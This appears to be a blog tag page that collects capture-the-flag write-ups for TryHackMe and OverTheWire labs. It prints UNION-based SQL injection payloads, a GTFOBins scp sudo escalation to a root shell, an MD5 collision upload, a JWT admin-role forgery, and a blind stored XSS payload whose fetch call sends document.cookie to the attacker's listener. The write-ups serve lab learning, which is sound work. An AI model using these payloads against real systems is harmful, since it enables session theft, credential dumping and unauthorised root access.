5 posts tagged with "ctf"

Jurassic Park TryHackMe​

login : ssh dennis@<TARGET_IP>
password : (Obtained via SQL Injection in the web application)

Task​

The objective is to find multiple flags scattered across the machine by exploiting a vulnerable web application to gain a foothold, and subsequently abusing sudo privileges to escalate to root.

Quick theory​

When a web application takes user input and passes it directly into a database query without sanitization, it becomes vulnerable to SQL Injection (SQLi). You can use UNION based SQLi to append your own queries and dump database credentials.

Once inside a system, privilege escalation can often be achieved by checking what commands the current user can run as root using sudo -l. If a permitted binary has known bypasses, tools like GTFOBins provide command snippets to exploit them and spawn a root shell.

Tools you’ll use:
Burp Suite -> to capture, modify, and fuzz HTTP requests (Intruder/Repeater).
SQLi (Manual) -> to enumerate database columns, tables, and dump passwords.
scp (via GTFOBins) -> to escalate privileges to root.

Solution​

# 1. After an Nmap scan reveals port 80 and 22, visit the web app.
# The 'id' parameter in the shop package URL is vulnerable to SQLi.
# Determine the number of columns (fails at 6, meaning there are 5 columns):
?id=1+ORDER+BY+6

# 2. Extract database tables and column names:
?id=1+UNION+SELECT+1,table_name,3,4,5+FROM+information_schema.tables+WHERE+table_schema=database()
?id=1+UNION+SELECT+1,column_name,3,4,5+FROM+information_schema.columns+WHERE+table_name="users"+AND+table_schema=database()

# 3. Dump the password from the users table:
?id=1+UNION+SELECT+1,password,3,password,5+FROM+users

# 4. Use Burp Intruder to fuzz the 'id' parameter from 0-50 to find the valid user "dennis".
# Log in via SSH using the dumped credentials:
neocipher27@fedora:~$ ssh dennis@<TARGET_IP>
# Capture the first flag in the user's directory.

# 5. Check bash history for the third flag and hints for the fifth flag:
dennis@jurassic:~$ cat .bash_history
# OR
dennis@jurassic:~$ history

# 6. Check for sudo privileges to escalate to root:
dennis@jurassic:~$ sudo -l
# Output shows 'scp' can be run as root without a password.

# 7. Exploit scp using GTFOBins to spawn a root shell:
dennis@jurassic:~$ TF=$(mktemp)
dennis@jurassic:~$ echo 'sh 0<&2 1>&2' > $TF
dennis@jurassic:~$ chmod +x "$TF"
dennis@jurassic:~$ sudo scp -S $TF x y:

# 8. Capture the fifth flag in the root directory:
root@jurassic:~# cat /root/flag5.txt
# 9. Find the remaining flags (flag 2 is inside the ubuntu user's bash history):
root@jurassic:~# cat /home/ubuntu/.bash_history

initial observations​

reading through the problem statement for "when hearts collide," the application's underlying logic became clear. the web app allows you to upload an image, calculates its md5 hash, and then compares that hash against its database to find a "match."

the vulnerability​

the critical flaw here is the application's reliance on md5 to determine file uniqueness. md5 is a deprecated and broken cryptographic hash function that is highly vulnerable to collision attacks. this means an attacker can intentionally generate two entirely different files that produce the exact same md5 hash output.

(for a deeper understanding of how this works, check out this official exploit-db reference: md5 collision of these 2 images is now() trivial and instant)

the exploit​

to exploit this logic flaw, i needed to create an md5 collision using a standard image file. rather than dealing with compiling collision tools locally, i opted to use a pre-built docker container for fastcoll.

• grabbed a random standard jpeg image to use as my base (e.g., fly.jpg).
• spun up the brimstone/fastcoll docker container and passed my image in as a prefix block to generate two new, distinct images (f1.jpg and f2.jpg):

docker run --rm --platform linux/amd64 -v $PWD:/work -w /work brimstone/fastcoll --prefixfile fly.jpg -o f1.jpg f2.jpg

(note: tweak the --platform flag if your local machine's architecture requires it).

the result​

with the two newly generated images in hand, i returned to the web app.

• uploaded f1.jpg to the server.
• immediately followed up by uploading f2.jpg.

because f2.jpg had the exact same md5 hash as f1.jpg but contained different file data, the application's matching logic broke perfectly. boom. the flag popped up on the screen.

the thought process: sniffing out the vulnerability​

when i first opened the lab, i was presented with a matchmaking survey. it asked for standard details like name, age, and what i was seeking.

the real lightbulb moment happened right after hitting the submit button. a pop-up appeared that said something along the lines of .. "your survey would be viewed in short time."

this immediately triggered that if an admin, a bot, or a "matchmaking team" is going to view my answers later, that means two things:

1. my input is being saved to a database somewhere (stored).
2. someone else's browser will render my input on an internal dashboard (blind).

this is the perfect recipe for a blind stored xss attack. if the developers didn't sanitize the inputs before displaying them on the admin panel, i could force the admin's browser to execute malicious javascript and steal their session cookie.

the setup: preparing the trap​

to catch the admin's cookie, i needed a way for their browser to "phone home" to my machine. since i was connected to the tryhackme vpn, i decided to spin up a local server.

first, i had to find my vpn ip. since i am on a mac, standard linux commands didn't show the right interface. i checked my interfaces and found my vpn ip on utun4, which was 192.168.137.132.

next, i started a simple python web server in my terminal to act as my listener. i left this running in the background:

python3 -m http.server 8000

the attack: injecting the payload​

with my listener running, i went back to the survey form. i needed a payload that would grab the admin's cookie, encode it in base64 (to prevent special characters from breaking the url), and send it back to my python server.

i crafted this simple fetch request:

<script>fetch('http://your_vpn_ip:8000/?cookie=' + btoa(document.cookie))</script>

i injected this exact script into the text fields of the survey, such as the "name" field, and submitted the form again.

the result: catching the flag.​

after submitting, i just had to wait and watch my terminal. because it was a blind xss vulnerability, i couldn't see the execution happen on the website itself.

however, within a short time, the background admin bot reviewed my matchmaking survey. the unsanitized page loaded my <script> tag, and my python server terminal lit up with a successful get request containing the base64-encoded cookie.

initial observations​

web applications running on port 5000 are often built with python frameworks like flask. because of this, they frequently store session data—including user roles—directly in a cookie.

the vulnerability​

keeping that in mind, i inspected the site and opened the developer tools.

• navigated to application -> storage -> cookies.
• found a cookie named tryheartme_jwt.
• recognized it as a json web token (jwt).

the exploit​

i copied the cookie's value and headed over to an online tool called jwt.one to mess with the payload.

• changed the "role" parameter from "user" to "admin".
• increased the "credits" just in case i needed them to make the purchase.

after generating the forged token, i pasted it back into the cookie value in my browser and hit refresh.

the result​

boom. admin access gained. the hidden valenflag product finally appeared on the page. all that was left was to purchase it and grab the flag.

login at :
http://natas0.natas.labs.overthewire.org

username : natas0 password : natas0

solution:​

login to the website and then inspect element you will find the password to next level in comment

so the password is:
0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

`